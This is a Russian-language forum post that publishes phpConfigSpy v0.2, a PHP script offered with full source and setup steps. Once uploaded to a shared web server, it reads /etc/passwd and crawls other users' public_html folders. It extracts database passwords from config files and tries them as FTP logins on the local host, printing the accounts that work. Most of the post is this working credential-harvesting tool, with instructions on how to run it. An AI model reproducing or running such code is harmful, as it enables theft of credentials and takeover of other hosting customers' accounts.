phpConfigSpy v0.2

baltazar

RAID-массив
Пользователь
Регистрация
26.01.2008
Сообщения
73
Реакции
0
[Описание]

phpConfigSpy - скрипт, автоматизирующий процесс поиска файлов конфигурации (например, config.php) форумов, досок объявлений, админ панелей в директориях вида /home/имя_пользователя/public_html и всех подкаталогов, если они доступны для чтения пользователю, под правами которого запущен скрипт.
После того как скрипт находит файл по маске, которую без труда можно изменить, как и параметры директорийй для поиска, он ищет в файле конфигурации пароль по шаблону (например, $password = "preved"), если пароль найден, то скрипт пробует пройти аутентификацию на фтп сервере машины, на которой запущен скрипт, в качестве логина и пароля, используется имя пользователя, в директории которого был найден конфигурационный файл, а в качестве пароля - пароль, найденный в файле конфигурации.
Если аутентификация прошла успешно, то скрипт выдаёт уведомление о полученном фтп аккаунте.

[Source]

Код:
<?php
/*
phpConfigSpy v0.2
coded by p-range #645552
(c) http://p-range.info
*/
echo '<html><head><title>phpConfigSpy v0.2</title></head><body>';
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
set_time_limit(0);
###################
@$passwd = fopen('/etc/passwd','r');
if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd))
{
$str = fgets($passwd);
 if ($i > 35)
 {
  $pos = strpos($str,':');
  $username = substr($str,0,$pos);
  $dirz = '/home/'.$username.'/public_html/';
  if (($username != ''))
  {
   if (is_readable($dirz))
   {
    array_push($users,$username);
    array_push($pub,$dirz);
   }
  }
   }
$i++;
}
###################
echo '

<textarea cols="100" rows="20">';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
echo "[~] Searching for passwords in config files...\n\n";
foreach ($users as $user)
{
$path = "/home/$user/public_html/";
read_dir($path,$user);
}
echo "\n[+] Done\n";
function read_dir($path,$username)
{
if ($handle = opendir($path))
{
 while (false !== ($file = readdir($handle)))
 {
  $fpath = "$path$file";
  if (($file != '.') and ($file != '..'))
  {
   if (is_readable($fpath))
   {
    $dr = $fpath."/";
    if (is_dir($dr))
    {
     read_dir($dr,$username);
    }
    else
    {
                        if (
                         ($file=='config.php')
                        or ($file=='config.inc.php')
                        or ($file=='conf.php')
                        or ($file=='settings.php')
                        or ($file=='setup.php')
                        or ($file=='dbconf.php')
                        or ($file=='dbconfig.php')
                        or ($file=='db.inc.php')
                        or ($file=='dbconnect.php')
                        or ($file=='connect.php')
                        or ($file=='index.php')
                        or ($file=='common.php')
                        or ($file=='config_global.php')
                        or ($file=='db.php')
                        or ($file=='connect.inc.php')
                        or ($file=='dbconnect.inc.php'))
                       {
      $pass = get_pass($fpath);
      if ($pass != '')
      {
       echo "[+] $fpath\n$pass\n";
       ftp_check($username,$pass);
      }
     }
    }
   }
  }
 }
}
}
function get_pass($link)
{
@$config = fopen($link,'r');
while(!feof($config))
{
 $line = fgets($config);
 if (strstr($line,'pass')
 or strstr($line,'pwd')
 or strstr($line,'db_pass')
 or strstr($line,'dbpass')
 or strstr($line,'passwd'))
 {
  if (strrpos($line,'"'))
  {
   preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);
   $pass = str_replace("]=\"","",$pass);
  }
 
  else
   preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
   $pass = str_replace("]='","",$pass);
  return $pass[2];
 }
}
}
function ftp_check($login,$pass)
{
@$ftp = ftp_connect('127.0.0.1');
if ($ftp)
{
 @$res = ftp_login($ftp,$login,$pass);
 if ($res)
 {
  echo '[URL] '.$login.':'.$pass."  Success !\n";
 }
 else ftp_quit($ftp);
}
}
echo '</textarea>

Coded by <b>$re@m3r</b> & <b>p-range</b>  <a href=http://p-range.info>p-range.info</a></body></html>';
?>

[Установка]

phpConfigSpy работает только при SAFE_MODE = OFF.
Для установки просто отредактируйте 24 строку скрипта:
$dirz = '/home/'.$username.'/public_html/';
и 43 стоку:
$path = '/home/'.$user.'/public_html/';
на соответствующий путь до веб-директории пользователей.
Затем заливайте на сервер и запускайте через браузер.

[Что нового]

В новой версии исправлены баги, при которых в некоторых случаях пароль выбирался не полностью или с ошибками. Улучшена система поиска паролей.
Coded by p-range & $re@m3r​
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх